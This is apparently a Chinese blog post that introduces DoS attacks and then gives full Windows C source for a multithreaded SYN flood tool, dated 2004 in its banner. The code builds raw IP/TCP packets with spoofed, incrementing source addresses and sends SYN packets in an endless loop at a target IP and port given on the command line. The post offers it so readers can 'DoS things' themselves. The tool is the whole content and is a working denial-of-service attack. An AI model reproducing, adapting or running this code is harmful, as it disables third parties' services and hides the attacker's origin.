DOS基本原理相信大家都已经很熟悉了,DOS工具大家也用的很熟悉.在群里 经常有人说什么时候去DOS什么东西. 现在我们就自己编写一个DOS工具. #include <winsock2.h> #include <Ws2tcpip.h> #include <stdio.h> #pragma comment(lib,"ws2_32.lib") #define SEQ 0x28376839 int threadnum,maxthread,port; char *DestIP; //目标IP void display(void) // 定义状态提示函数 { static int play=0; // 进度条 char *plays[12]= { " | ", " / ", " - ", " \ ", " | ", " / ", " - ", " \ ", " | ", " / ", " - ", " \ ", }; printf("=%s= %d threads ", plays[play],threadnum); play=(play==11)?0:play+1; } //定义一个tcphdr结构来存放TCP首部 typedef struct tcphdr { USHORT th_sport; //16位源端口号 USHORT th_dport; //16位目的端口号 unsigned int th_seq; //32位序列号 unsigned int th_ack; //32位确认号 unsigned char th_lenres; //4位首部长度+6位保留字中的4位 unsigned char th_flag; ////6位标志位 USHORT th_win; //16位窗口大小 USHORT th_sum; //16位效验和 USHORT th_urp; //16位紧急数据偏移量 }TCP_HEADER; //定义一个iphdr来存放IP首部 typedef struct iphdr //ip首部 { unsigned char h_verlen; //4位手部长度，和4位IP版本号 unsigned char tos; //8位类型服务 unsigned short total_len; //16位总长度 unsigned short ident; //16位标志 unsigned short frag_and_flags; //3位标志位（如SYN,ACK,等等) unsigned char ttl; //8位生存时间 unsigned char proto; //8位协议 unsigned short checksum; //ip手部效验和 unsigned int sourceIP; //伪造IP地址 unsigned int destIP; //攻击的ip地址 }IP_HEADER; //TCP伪首部，用于进行TCP效验和的计算，保证TCP效验的有效性 struct { unsigned long saddr; //源地址 unsigned long daddr; //目的地址 char mbz; //置空 char ptcl; //协议类型 unsigned short tcpl; //TCP长度 }PSD_HEADER; //计算效验和函数，先把IP首部的效验和字段设为0(IP_HEADER.checksum=0) //然后计算整个IP首部的二进制反码的和。 USHORT checksum(USHORT *buffer, int size) { unsigned long cksum=0; while(size >1) { cksum+=*buffer++; size-=sizeof(USHORT); } if(size) cksum+=*(UCHAR*)buffer; cksum=(cksum >> 16)+(cksum&0xffff); cksum+=(cksum >>16); return (USHORT)(~cksum); } DWORD WINAPI SynfloodThread(LPVOID lp) //synflood线程函数 { SOCKET sock =NULL; int ErrorCode=0,flag=true,TimeOut=2000,FakeIpNet,FakeIpHost,dataSize=0,SendSEQ=0; struct sockaddr_in sockAddr; TCP_HEADER tcpheader; IP_HEADER ipheader; char sendBuf[128]; sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED); if(sock==INVALID_SOCKET) { printf("Socket failed: %d ",WSAGetLastError()); return 0; } //设置IP_HDRINCL以便自己填充IP首部 ErrorCode=setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt failed: %d ",WSAGetLastError()); return 0; } //设置发送超时 ErrorCode=setsockopt(sock,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut)); if(ErrorCode==SOCKET_ERROR) { printf("Set sockopt time out failed: %d ",WSAGetLastError()); return 0; } //设置目标地址 memset(&sockAddr,0,sizeof(sockAddr)); sockAddr.sin_family=AF_INET; sockAddr.sin_addr.s_addr =inet_addr(DestIP); FakeIpNet=inet_addr(DestIP); FakeIpHost=ntohl(FakeIpNet); //填充IP首部 ipheader.h_verlen=(4<<4 | sizeof(IP_HEADER)/sizeof(unsigned long)); ipheader.total_len = htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); ipheader.ident = 1; ipheader.frag_and_flags = 0; ipheader.ttl = 128; ipheader.proto = IPPROTO_TCP; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); ipheader.destIP = inet_addr(DestIP); //填充TCP首部 tcpheader.th_dport=htons(port); tcpheader.th_sport = htons(8080); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_ack = 0; tcpheader.th_lenres =(sizeof(TCP_HEADER)/4<<4|0); tcpheader.th_flag = 2; tcpheader.th_win = htons(16384); tcpheader.th_urp = 0; tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; PSD_HEADER.daddr=ipheader.destIP; PSD_HEADER.mbz=0; PSD_HEADER.ptcl=IPPROTO_TCP; PSD_HEADER.tcpl=htons(sizeof(tcpheader)); for(;;) { SendSEQ=(SendSEQ==65536)?1:SendSEQ+1; ipheader.checksum =0; ipheader.sourceIP = htonl(FakeIpHost+SendSEQ); tcpheader.th_seq = htonl(SEQ+SendSEQ); tcpheader.th_sport = htons(SendSEQ); tcpheader.th_sum = 0; PSD_HEADER.saddr=ipheader.sourceIP; //把TCP伪首部和TCP首部复制到同一缓冲区并计算TCP效验和 memcpy(sendBuf,&PSD_HEADER,sizeof(PSD_HEADER)); memcpy(sendBuf+sizeof(PSD_HEADER),&tcpheader,sizeof(tcpheader)); tcpheader.th_sum=checksum((USHORT *)sendBuf,sizeof(PSD_HEADER)+sizeof(tcpheader)); memcpy(sendBuf,&ipheader,sizeof(ipheader)); memcpy(sendBuf+sizeof(ipheader),&tcpheader,sizeof(tcpheader)); memset(sendBuf+sizeof(ipheader)+sizeof(tcpheader),0,4); dataSize=sizeof(ipheader)+sizeof(tcpheader); ipheader.checksum=checksum((USHORT *)sendBuf,dataSize); memcpy(sendBuf,&ipheader,sizeof(ipheader)); sendto(sock,sendBuf,dataSize,0,(struct sockaddr*) &sockAddr,sizeof(sockAddr)); display(); } Sleep(20); InterlockedExchangeAdd((long *)&threadnum,-1); return 0; } void usage(char *name) { printf(" ===================SYN Flood====================== "); printf(" ==========gxisone@hotmail.com 2004/7/6======== "); printf(" usage: %s [dest_IP] [port] [thread] ",name); printf(" Example: %s 192.168.1.1 80 100 ",name); } int main(int argc,char* argv[]) { if(argc!=4) { usage(argv[0]); return 0; } usage(argv[1]); int ErrorCode=0; DestIP=argv[1]; //取得目标主机IP port=atoi(argv[2]); //取得目标端口号 maxthread=(maxthread>100)?100:atoi(argv[3]); //如果线程数大于100则把线程数设置为100 WSADATA wsaData; if((ErrorCode=WSAStartup(MAKEWORD(2,2),&wsaData))!=0){ printf("WSAStartup failed: %d ",ErrorCode); return 0; } printf("[start]........... Press any key to stop! "); while(threadnum<maxthread) //循环创建线程 { if(CreateThread(NULL,0,SynfloodThread,0,0,0)) { Sleep(10); threadnum++; } } WSACleanup(); printf(" [Stopd]........... "); return 0; }